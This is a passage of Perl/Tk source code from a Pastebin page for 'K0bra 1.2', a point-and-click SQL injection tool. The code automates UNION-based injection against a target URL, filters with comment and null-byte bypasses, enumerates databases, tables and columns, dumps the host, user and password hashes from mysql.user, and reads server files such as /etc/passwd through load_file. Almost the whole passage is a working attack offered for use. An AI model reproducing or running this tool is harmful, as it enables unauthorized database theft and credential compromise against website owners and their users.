  904.         -foreground => $color_texto
  905.     )->place( -x => 130, -y => 93 );
  906.  
  907.     $max->Label(
  908.         -text       => "Column2 : ",
  909.         -font       => "Impact",
  910.         -background => $color_fondo,
  911.         -foreground => $color_texto
  912.     )->place( -y => 130, -x => 50 );
  913.     my $tita = $max->Entry(
  914.         -width      => 20,
  915.         -background => $color_fondo,
  916.         -foreground => $color_texto
  917.     )->place( -y => 133, -x => 130 );
  918.  
  919.     $max->Button(
  920.         -width            => 10,
  921.         -text             => "Extract",
  922.         -command          => \&tengor,
  923.         -activebackground => $color_texto,
  924.         -background       => $color_fondo,
  925.         -foreground       => $color_texto
  926.     )->place( -y => 20, -x => 360 );
  927.  
  928.     $max->Label(
  929.         -text       => "Column1",
  930.         -font       => "Impact",
  931.         -background => $color_fondo,
  932.         -foreground => $color_texto
  933.     )->place( -x => 100, -y => 180 );
  934.     $max->Label(
  935.         -text       => "Column2",
  936.         -font       => "Impact",
  937.         -background => $color_fondo,
  938.         -foreground => $color_texto
  939.     )->place( -x => 300, -y => 180 );
  940.  
  941.     my $duta1 = $max->Listbox(
  942.         -width      => 20,
  943.         -background => $color_fondo,
  944.         -foreground => $color_texto
  945.     )->place( -y => 210, -x => 70 );
  946.     my $duta2 = $max->Listbox(
  947.         -width      => 23,
  948.         -background => $color_fondo,
  949.         -foreground => $color_texto
  950.     )->place( -y => 210, -x => 260 );
  951.  
  952.     sub tengor {
  953.  
  954.         $duta1->delete( "0.0", "end" );
  955.         $duta2->delete( "0.0", "end" );
  956.  
  957.         my $page  = $tata->get;
  958.         my $tabla = $tato->get;
  959.         my $col1  = $tatu->get;
  960.         my $col2  = $tita->get;
  961.  
  962.         my $save = partimealmedio($page);
  963.  
  964.         savefile( $save . ".txt", "\n" );
  965.  
  966.         ( $pass1, $pass2 ) = &bypass($bypass);
  967.         if ( $page =~ /(.*)hackman(.*)/ ) {
  968.             my $start = $1;
  969.             my $end   = $2;
  970.             $concatx =
  971. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
  972.             $val_code =
  973.               toma( $start
  974.                   . $concatx
  975.                   . $end
  976.                   . $pass1 . "from"
  977.                   . $pass1
  978.                   . $tabla
  979.                   . $pass2 );
  980.             $concat =
  981. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
  982.             if ( $val_code =~ /ERTOR854(.*)ERTOR854/ig ) {
  983.                 $tota = $1;
  984.                 savefile( $save . ".txt", "[Table] : $tabla" );
  985.                 savefile( $save . ".txt", "[+] Length of the rows: $tota\n" );
  986.                 savefile( $save . ".txt", "[$col1] [$col2]\n" );
  987.                 for my $limit ( 0 .. $tota ) {
  988.                     chomp $limit;
  989.                     $logo->update;
  990.                     $injection =
  991.                       toma( $start
  992.                           . $concat
  993.                           . $end
  994.                           . $pass1 . "from"
  995.                           . $pass1
  996.                           . $tabla
  997.                           . $pass1 . "limit"
  998.                           . $pass1
  999.                           . $limit . ",1"
  1000.                           . $pass2 );
  1001.                     if ( $injection =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854/ig ) {
  1002.                         savefile( $save . ".txt",
  1003.                             "[$col1] : $1   [$col2] : $2" );
  1004.                         $duta1->insert( "end", $1 );
  1005.                         $duta2->insert( "end", $2 );
  1006.                     }
  1007.                     else {
  1008.                         last;
  1009.                     }
  1010.                 }
  1011.             }
  1012.             else {
  1013.                 $tatus->configure( -text => "Error" );
  1014.             }
  1015.         }
  1016.     }
  1017. }
  1018.  
  1019. sub myfile {
  1020.  
  1021.     my $pag = $targetero->get;
  1022.  
  1023.     $loa = MainWindow->new(
  1024.         -background => $color_fondo,
  1025.         -foreground => $color_texto
  1026.     );
  1027.     $loa->title("load_file helper");
  1028.     $loa->geometry("380x410+20+20");
  1029.     $loa->resizable( 0, 0 );
  1030.  
  1031.     $loa->Label(
  1032.         -text       => "Target : ",
  1033.         -font       => "Impact",
  1034.         -background => $color_fondo,
  1035.         -foreground => $color_texto
  1036.     )->place( -x => 20, -y => 20 );
  1037.     my $aa = $loa->Entry(
  1038.         -width      => 40,
  1039.         -text       => $pag,
  1040.         -background => $color_fondo,
  1041.         -foreground => $color_texto
  1042.     )->place( -y => 23, -x => 80 );
  1043.     $loa->Label(
  1044.         -text       => "File : ",
  1045.         -font       => "Impact",
  1046.         -background => $color_fondo,
  1047.         -foreground => $color_texto
  1048.     )->place( -y => 60, -x => 23 );
  1049.     my $tea = $loa->Entry(
  1050.         -width      => 20,
  1051.         -text       => "C:/xampp/htdocs/aca.txt",
  1052.         -background => $color_fondo,
  1053.         -foreground => $color_texto
  1054.     )->place( -y => 63, -x => 63 );
  1055.     $loa->Button(
  1056.         -text             => "Encode",
  1057.         -width            => 8,
  1058.         -command          => \&eno,
  1059.         -activebackground => $color_texto,
  1060.         -background       => $color_fondo,
  1061.         -foreground       => $color_texto
  1062.     )->place( -y => 62, -x => 200 );
  1063.     $loa->Button(
  1064.         -text             => "Show",
  1065.         -width            => 8,
  1066.         -command          => \&ena,
  1067.         -activebackground => $color_texto,
  1068.         -background       => $color_fondo,
  1069.         -foreground       => $color_texto
  1070.     )->place( -y => 62, -x => 263 );
  1071.  
  1072.     $loa->Label(
  1073.         -text       => "Output",
  1074.         -font       => "Impact",
  1075.         -background => $color_fondo,
  1076.         -foreground => $color_texto
  1077.     )->place( -x => 160, -y => 130 );
  1078.     my $mo = $loa->ROText(
  1079.         -width      => 45,
  1080.         -height     => 15,
  1081.         -background => $color_fondo,
  1082.         -foreground => $color_texto
  1083.     )->place( -y => 170, -x => 25 );
  1084.  
  1085.     sub eno {
  1086.         my $t = $tea->get;
  1087.         if ( $t =~ /0x/ ) {
  1088.             $tea->configure( -text => decode($t) );
  1089.         }
  1090.         else {
  1091.             $tea->configure( -text => encode($t) );
  1092.         }
  1093.     }
  1094.  
  1095.     sub ena {
  1096.  
  1097.         $mo->delete( "0.0", "end" );
  1098.  
  1099.         my $page = $aa->get;
  1100.         my $save = partimealmedio($page);
  1101.  
  1102.         savefile( $save . ".txt", "\n" );
  1103.         ( $pass1, $pass2 ) = &bypass($bypass);
  1104.         if ( $page =~ /(.*)hackman(.*)/g ) {
  1105.             my $start = $1;
  1106.             my $end   = $2;
  1107.             my $file  = $tea->get;
  1108.             chomp $file;
  1109.             $concat =
  1110.                 "unhex(hex(concat(char(107,48,98,114,97),load_file("
  1111.               . $file
  1112.               . "),char(107,48,98,114,97))))";
  1113.             my $code = toma( $start . $concat . $end . $pass2 );
  1114.             chomp $code;
  1115.  
  1116.             if ( $code =~ /k0bra(.*)k0bra/s ) {
  1117.                 my $word = $1;
  1118.                 $mo->insert( "end", $word );
  1119.                 savefile( $save . ".txt", "[File Found] : $file" );
  1120.                 savefile( $save . ".txt", "\n[Source Start]\n" );
  1121.                 savefile( $save . ".txt", "$word" );
  1122.                 savefile( $save . ".txt", "\n[Source End]\n" );
  1123.             }
  1124.             else {
  1125.                 $tatus->configure( -text => "Error" );
  1126.             }
  1127.         }
  1128.     }
  1129. }
  1130.  
  1131. sub mynow {
  1132.  
  1133.     my $p = $targetero->get;
  1134.  
  1135.     $mi = MainWindow->new(
  1136.         -background => $color_fondo,
  1137.         -foreground => $color_texto
  1138.     );
  1139.     $mi->title("Mysql Extractor");
  1140.     $mi->geometry("500x300+20+20");
  1141.     $mi->resizable( 0, 0 );
  1142.  
  1143.     $mi->Label(
  1144.         -text       => "Target : ",
  1145.         -font       => "Impact",
  1146.         -background => $color_fondo,
  1147.         -foreground => $color_texto
  1148.     )->place( -x => 50, -y => 20 );
  1149.     my $guix = $mi->Entry(
  1150.         -width      => 40,
  1151.         -text       => $p,
  1152.         -background => $color_fondo,
  1153.         -foreground => $color_texto
  1154.     )->place( -y => 23, -x => 110 );
  1155.     $mi->Button(
  1156.         -width            => 10,
  1157.         -text             => "Extract",
  1158.         -command          => \&tengorax,
  1159.         -background       => $color_fondo,
  1160.         -foreground       => $color_texto,
  1161.         -activebackground => $color_texto
  1162.     )->place( -y => 20, -x => 360 );
  1163.  
  1164.     $mi->Label(
  1165.         -text       => "Host",
  1166.         -font       => "Impact",
  1167.         -background => $color_fondo,
  1168.         -foreground => $color_texto
  1169.     )->place( -x => 60, -y => 90 );
  1170.     $mi->Label(
  1171.         -text       => "User",
  1172.         -font       => "Impact",
  1173.         -background => $color_fondo,
  1174.         -foreground => $color_texto
  1175.     )->place( -x => 200, -y => 90 );
  1176.     $mi->Label(
  1177.         -text       => "Password",
  1178.         -font       => "Impact",
  1179.         -background => $color_fondo,
  1180.         -foreground => $color_texto
  1181.     )->place( -x => 360, -y => 90 );
  1182.  
  1183.     my $hostero = $mi->Listbox(
  1184.         -width      => 20,
  1185.         -background => $color_fondo,
  1186.         -foreground => $color_texto
  1187.     )->place( -y => 130, -x => 40 );
  1188.     my $usero = $mi->Listbox(
  1189.         -width      => 23,
  1190.         -background => $color_fondo,
  1191.         -foreground => $color_texto
  1192.     )->place( -y => 130, -x => 180 );
  1193.     my $pasero = $mi->Listbox(
  1194.         -width      => 20,
  1195.         -background => $color_fondo,
  1196.         -foreground => $color_texto
  1197.     )->place( -y => 130, -x => 340 );
  1198.  
  1199.     sub tengorax {
  1200.  
  1201.         my $page = $guix->get;
  1202.         my $save = partimealmedio($page);
  1203.  
  1204.         my $cop  = $page;
  1205.         my $cop1 = $page;
  1206.  
  1207.         savefile( $save . ".txt", "\n" );
  1208.  
  1209.         ( $pass1, $pass2 ) = &bypass($bypass);
  1210.         $page =~ s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  1211.         $code =
  1212.           toma( $page . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  1213.         if ( $code =~ /RATSXPDOWN/ig ) {
  1214.             $cop1 =~
  1215. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1216.             $code1 =
  1217.               toma( $cop1 . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  1218.             if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1219.                 $mi->update;
  1220.                 savefile( $save . ".txt", "\n[+] Users mysql Found : $1\n" );
  1221.                 for my $limit ( 0 .. $1 ) {
  1222.                     $mi->update;
  1223.                     $cop =~
  1224. s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  1225.                     $code =
  1226.                       toma( $cop
  1227.                           . $pass1 . "from"
  1228.                           . $pass1
  1229.                           . "mysql.user"
  1230.                           . $pass1 . "limit"
  1231.                           . $pass1
  1232.                           . $limit . ",1"
  1233.                           . $pass2 );
  1234.                     if ( $code =~
  1235.                         /RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig
  1236.                       )
  1237.                     {
  1238.                         $mi->update;
  1239.                         $hostero->insert( "end", $1 );
  1240.                         $usero->insert( "end", $2 );
  1241.                         $pasero->insert( "end", $3 );
  1242.                         savefile( $save . ".txt",
  1243.                             "[Host] : $1 [User] : $2 [Password] : $3" );
  1244.                     }
  1245.                     else {
  1246.                         last;
  1247.                     }
  1248.                 }
  1249.             }
  1250.         }
  1251.         else {
  1252.             $tatus->configure( -text => "Error" );
  1253.             $logo->update;
  1254.         }
  1255.     }
  1256. }
  1257.  
  1258. sub schemacolumnsdb {
  1259.  
  1260.     $columnero->delete( "0.0", "end" );
  1261.  
  1262.     my $page = $targetero->get;
  1263.     my $save = partimealmedio($page);
  1264.  
  1265.     $d = $tablero->curselection();
  1266.  
  1267.     for my $id (@$d) {
  1268.         my $da = $tablero->get($id);
  1269.  
  1270.         if ( $da =~ /(.*)\.(.*)/ ) {
  1271.             my ( $db, $table ) = ( $1, $2 );
  1272.  
  1273.             my $page3 = $page;
  1274.             my $page4 = $page;
  1275.  
  1276.             savefile( $save . ".txt", "\n" );
  1277.             ( $pass1, $pass2 ) = &bypass($bypass);
  1278.             savefile( $save . ".txt", "\n[DB] : $db" );
  1279.             savefile( $save . ".txt", "[Table] : $table" );
  1280.             $page3 =~
  1281. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1282.             $code3 =
  1283.               toma( $page3
  1284.                   . $pass1 . "from"
  1285.                   . $pass1
  1286.                   . "information_schema.columns"
  1287.                   . $pass1 . "where"
  1288.                   . $pass1
  1289.                   . "table_name=char("
  1290.                   . ascii($table) . ")"
  1291.                   . $pass1 . "and"
  1292.                   . $pass1
  1293.                   . "table_schema=char("
  1294.                   . ascii($db) . ")"
  1295.                   . $pass2 );
  1296.  
  1297.             if ( $code3 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1298.                 savefile( $save . ".txt", "[Columns length : $1 ]\n" );
  1299.                 my $si = $1;
  1300.                 chomp $si;
  1301.                 $page4 =~
  1302. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1303.                 $real = "1";
  1304.                 for my $limit2 ( 0 .. $si ) {
  1305.                     $tatus->configure( -text => "Getting columns ..." );
  1306.                     $logo->update;
  1307.                     $code4 =
  1308.                       toma( $page4
  1309.                           . $pass1 . "from"
  1310.                           . $pass1
  1311.                           . "information_schema.columns"
  1312.                           . $pass1 . "where"
  1313.                           . $pass1
  1314.                           . "table_name=char("
  1315.                           . ascii($table) . ")"
  1316.                           . $pass1 . "and"
  1317.                           . $pass1
  1318.                           . "table_schema=char("
  1319.                           . ascii($db) . ")"
  1320.                           . $pass1 . "limit"
  1321.                           . $pass1
  1322.                           . $limit2 . ",1"
  1323.                           . $pass2 );
  1324.                     if ( $code4 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1325.                         $columnero->insert( "end", $1 );
  1326.                         savefile( $save . ".txt", "[Column $real] : $1" );
  1327.                         $real++;
  1328.                     }
  1329.                 }
  1330.                 $tatus->configure( -text => " " );
  1331.             }
  1332.             else {
  1333.                 msg( "K0bra 1.2", "information_schema not found" );
  1334.             }
  1335.         }
  1336.     }
  1337. }
  1338.  
  1339. sub schematablesdb {
  1340.  
  1341.     $tablero->delete( "0.0", "end" );
  1342.  
  1343.     my $page = $targetero->get;
  1344.     my $save = partimealmedio($page);
  1345.  
  1346.     $d = $datero->curselection();
  1347.  
  1348.     for my $id (@$d) {
  1349.         my $db = $datero->get($id);
  1350.  
  1351.         $tatus->configure( -text => "Getting tables ..." );
  1352.         $logo->update;
  1353.  
  1354.         my $page1 = $page;
  1355.         savefile( $save . ".txt", "\n" );
  1356.         ( $pass1, $pass2 ) = &bypass($bypass);
  1357.  
  1358.         savefile( $save . ".txt", "[DB] : $db" );
  1359.         $page =~
  1360. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1361.         $page1 =~
  1362. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1363.         $code =
  1364.           toma( $page1
  1365.               . $pass1 . "from"
  1366.               . $pass1
  1367.               . "information_schema.tables"
  1368.               . $pass1 . "where"
  1369.               . $pass1
  1370.               . "table_schema=char("
  1371.               . ascii($db) . ")"
  1372.               . $pass2 );
  1373.  
  1374. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  1375.         if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1376.             $logo->update;
  1377.             savefile( $save . ".txt", "[+] Tables Length :  $1\n" );
  1378.             my $limit = $1;
  1379.             $real = "1";
  1380.             for my $lim ( 0 .. $limit ) {
  1381.                 $logo->update;
  1382.                 $code1 =
  1383.                   toma( $page
  1384.                       . $pass1 . "from"
  1385.                       . $pass1
  1386.                       . "information_schema.tables"
  1387.                       . $pass1 . "where"
  1388.                       . $pass1
  1389.                       . "table_schema=char("
  1390.                       . ascii($db) . ")"
  1391.                       . $pass1 . "limit"
  1392.                       . $pass1
  1393.                       . $lim . ",1"
  1394.                       . $pass2 );
  1395.  
  1396. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  1397.                 if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1398.                     my $table = $1;
  1399.                     chomp $table;
  1400.                     savefile( $save . ".txt", "[Table $real Found : $table ]" );
  1401.                     $tablero->insert( "end", $db . "." . $table );
  1402.                     $real++;
  1403.                 }
  1404.             }
  1405.             $tatus->configure( -text => " " );
  1406.         }
  1407.         else {
  1408.             msg( "K0bra 1.2", "information_schema not found" );
  1409.         }
  1410.     }
  1411. }
  1412.  
  1413. sub getdbs {
  1414.  
  1415.     my $page = $targetero->get;
  1416.     my $save = partimealmedio($page);
  1417.  
  1418.     my $page1 = $page;
  1419.  
  1420.     $datero->delete( "0.0", "end" );
  1421.  
  1422.     savefile( $save . ".txt", "\n" );
  1423.  
  1424.     $tatus->configure( -text => "Searching DBS ..." );
  1425.     $logo->update;
  1426.     ( $pass1, $pass2 ) = &bypass($bypass);
  1427.     $page =~
  1428. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1429.     $code =
  1430.       toma( $page . $pass1 . "from" . $pass1 . "information_schema.schemata" );
  1431.     if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1432.         my $limita = $1;
  1433.         $tatus->configure( -text => "Databases Length : $limita" );
  1434.         $logo->update;
  1435.         savefile( $save . ".txt", "[+] Databases Length : $limita\n" );
  1436.         $page1 =~
  1437. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1438.         $real = "1";
  1439.  
  1440.         for my $limit ( 0 .. $limita ) {
  1441.             $tatus->configure( -text => "Getting databases ..." );
  1442.             $logo->update;
  1443.             $code =
  1444.               toma( $page1
  1445.                   . $pass1 . "from"
  1446.                   . $pass1
  1447.                   . "information_schema.schemata"
  1448.                   . $pass1 . "limit"
  1449.                   . $pass1
  1450.                   . $limit . ",1"
  1451.                   . $pass2 );
  1452.             if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1453.                 my $control = $1;
  1454.                 if (    $control ne "information_schema"
  1455.                     and $control ne "mysql"
  1456.                     and $control ne "phpmyadmin" )
  1457.                 {
  1458.                     $datero->insert( "end", $control );
  1459.                     savefile( $save . ".txt",
  1460.                         "[Database $real Found] : $control" );
  1461.                     $real++;
  1462.                 }
  1463.             }
  1464.         }
  1465.         $tatus->configure( -text => " " );
  1466.         $logo->update;
  1467.     }
  1468.     else {
  1469.         $tatus->configure( -text => "information_schema not found" );
  1470.     }
  1471. }
  1472.  
  1473. sub toma {
  1474.     return $nave->get( $_[0] )->content;
  1475. }
  1476.  
  1477. sub savefile {
  1478.     open( SAVE, ">>logs/webs/" . $_[0] );
  1479.     print SAVE $_[1] . "\n";
  1480.     close SAVE;
  1481. }
  1482.  
  1483. sub partimealmedio {
  1484.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  1485.     my $save = $auth;
  1486.     $save =~ s/:/_/;
  1487.     return $save;
  1488. }
  1489.  
  1490. sub encode {
  1491.     my $string = $_[0];
  1492.     $hex = '0x';
  1493.     for ( split //, $string ) {
  1494.         $hex .= sprintf "%x", ord;
  1495.     }
  1496.     return $hex;
  1497. }
  1498.  
  1499. sub decode {
  1500.     $_[0] =~ s/^0x//;
  1501.     $encode = join q[], map { chr hex } $_[0] =~ /../g;
  1502.     return $encode;
  1503. }
  1504.  
  1505. sub bypass {
  1506.     if    ( $_[0] eq "/*" )  { return ( "/**/", "/**/" ); }
  1507.     elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
  1508.     else                     { return ( "+",    "--" ); }
  1509. }
  1510.  
  1511. sub ascii {
  1512.     return join ',', unpack "U*", $_[0];
  1513. }
  1514.  
  1515. sub ascii_de {
  1516.     $_[0] = join q[], map { chr } split q[,], $_[0];
  1517.     return $_[0];
  1518. }
  1519.  
  1520. sub installer {
  1521.     unless ( -d "/logs/webs" ) {
  1522.         mkdir( "logs/",      777 );
  1523.         mkdir( "logs/webs/", 777 );
  1524.     }
  1525. }
  1526.  
  1527. sub aboutxa {
  1528.     $logo->Dialog(
  1529.         -title            => "About",
  1530.         -buttons          => ["OK"],
  1531.         -text             => "Coded By Doddy H",
  1532.         -background       => $color_fondo,
  1533.         -foreground       => $color_texto,
  1534.         -activebackground => $color_texto
  1535.     )->Show();
  1536. }
  1537.  
  1538. sub exitnow {
  1539.     exit 1;
  1540. }
  1541.  
  1542. sub nownow {
  1543.  
  1544.     my $page   = $targetero->get;
  1545.     my $bypass = $bypass;
  1546.  
  1547.     scan( $page, $bypass );
  1548.  
  1549. }
  1550.  
  1551. sub scan {
  1552.  
  1553.     my $page = $_[0];
  1554.  
  1555.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1556.  
  1557.     my $save = partimealmedio( $_[0] );
  1558.  
  1559.     $tatus->configure( -text => "Scanning ..." );
  1560.     $logo->update;
  1561.  
  1562.     my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  1563.     my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  1564.  
  1565.     unless ( $testar1 eq $testar2 ) {
  1566.         motor( $page, $_[1] );
  1567.     }
  1568.     else {
  1569.         $tatus->configure( -text => "Not vulnerable" );
  1570.     }
  1571.  
  1572. }
  1573.  
  1574. sub motor {
  1575.  
  1576.     my ( $gen, $save, $control ) = &length( $_[0], $_[1] );
  1577.  
  1578.     if ( $control eq 1 ) {
  1579.         $targetero->configure( -text => $gen );
  1580.         $tatus->configure( -text => "Enjoy the menu" );
  1581.     }
  1582.     else {
  1583.         $tatus->configure( -text => "Length columns not found" );
  1584.     }
  1585. }
  1586.  
  1587. sub length {
  1588.     $tatus->configure( -text => "Looking for the number of columns ..." );
  1589.     my $rows = "0";
  1590.     my $asc;
  1591.     my $page = $_[0];
  1592.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1593.  
  1594.     $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
  1595.     $total = "1";
  1596.     for my $rows ( 2 .. 200 ) {
  1597.         $logo->update;
  1598.         $asc .=
  1599.           "," . "char(" . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
  1600.         $total .= "," . $rows;
  1601.         $injection =
  1602.             $page . "1"
  1603.           . $pass1 . "and"
  1604.           . $pass1 . "1=0"
  1605.           . $pass1 . "union"
  1606.           . $pass1
  1607.           . "select"
  1608.           . $pass1
  1609.           . $alert
  1610.           . $asc;
  1611.         $test = toma($injection);
  1612.         if ( $test =~ /RATSXPDOWN/ ) {
  1613.             @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  1614.             $control = 1;
  1615.  
  1616.             my $save = partimealmedio( $_[0] );
  1617.  
  1618.             savefile( $save . ".txt", "\n[Target confirmed] : $page" );
  1619.             savefile( $save . ".txt", "[Bypass] : $_[1]\n" );
  1620.             savefile( $save . ".txt", "[Limit] : The site has $rows columns" );
  1621.             savefile( $save . ".txt",
  1622.                 "[Data] : The number @number print data" );
  1623.             $total =~ s/$number[0]/hackman/;
  1624.             savefile(
  1625.                 $save . ".txt",
  1626.                 "[SQLI] : "
  1627.                   . $page . "1"
  1628.                   . $pass1 . "and"
  1629.                   . $pass1 . "1=0"
  1630.                   . $pass1 . "union"
  1631.                   . $pass1
  1632.                   . "select"
  1633.                   . $pass1
  1634.                   . $total
  1635.             );
  1636.             return (
  1637.                 $page . "1"
  1638.                   . $pass1 . "and"
  1639.                   . $pass1 . "1=0"
  1640.                   . $pass1 . "union"
  1641.                   . $pass1
  1642.                   . "select"
  1643.                   . $pass1
  1644.                   . $total,
  1645.                 $save, $control
  1646.             );
  1647.         }
  1648.     }
  1649. }
  1650.  
  1651. sub openlogsk {
  1652.     my $cargar = partimealmedio( $targetero->get );
  1653.     $t = "logs/webs/$cargar" . ".txt";
  1654.     system("start $t");
  1655. }
  1656.  
  1657. sub details {
  1658.  
  1659.     my $page   = $targetero->get;
  1660.     my $bypass = $bypass;
  1661.     my $save   = partimealmedio($page);
  1662.  
  1663.     $informatero->delete( "0.0", "end" );
  1664.  
  1665.     ( $pass1, $pass2 ) = &bypass($bypass);
  1666.     savefile( $save . ".txt", "\n" );
  1667.     if ( $page =~ /(.*)hackman(.*)/ig ) {
  1668.         $tatus->configure( -text => "Searching information ..." );
  1669.         $logo->update;
  1670.         my ( $start, $end ) = ( $1, $2 );
  1671.         $inforschema =
  1672.             $start
  1673.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  1674.           . $end
  1675.           . $pass1 . "from"
  1676.           . $pass1
  1677.           . "information_schema.tables"
  1678.           . $pass2;
  1679.         $mysqluser =
  1680.             $start
  1681.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  1682.           . $end
  1683.           . $pass1 . "from"
  1684.           . $pass1
  1685.           . "mysql.user"
  1686.           . $pass2;
  1687.         $test3 =
  1688.           toma( $start
  1689.               . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  1690.               . $end
  1691.               . $pass2 );
  1692.         $test1 = toma($inforschema);
  1693.         $test2 = toma($mysqluser);
  1694.  
  1695.         if ( $test2 =~ /ERTOR854/ig ) {
  1696.             savefile( $save . ".txt", "[mysql.user] : ON" );
  1697.         }
  1698.         else {
  1699.             savefile( $save . ".txt", "[mysql.user] : OFF" );
  1700.         }
  1701.         if ( $test1 =~ /ERTOR854/ig ) {
  1702.             savefile( $save . ".txt", "[information_schema.tables] : ON" );
  1703.         }
  1704.         else {
  1705.             savefile( $save . ".txt", "[information_schema.tables] : OFF" );
  1706.         }
  1707.         if ( $test3 =~ /ERTOR854/ig ) {
  1708.             savefile(
  1709.                 $save . ".txt",
  1710.                 "[load_file] : "
  1711.                   . $start
  1712.                   . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  1713.                   . $end
  1714.                   . $pass2
  1715.             );
  1716.         }
  1717.         $concat =
  1718. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  1719.         $injection = $start . $concat . $end . $pass2;
  1720.         $code      = toma($injection);
  1721.         if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
  1722.  
  1723.             $informatero->insert( "end", "DB Version : $1" );
  1724.             $informatero->insert( "end", "DB Name : $2" );
  1725.             $informatero->insert( "end", "Username : $3" );
  1726.             savefile(
  1727.                 $save . ".txt",
  1728.                 "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n"
  1729.             );
  1730.             $tatus->configure( -text => " " );
  1731.         }
  1732.         else {
  1733.             $tatus->configure( -text => "Not found any data" );
  1734.         }
  1735.     }
  1736. }
  1737.  
  1738. # The End ?
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!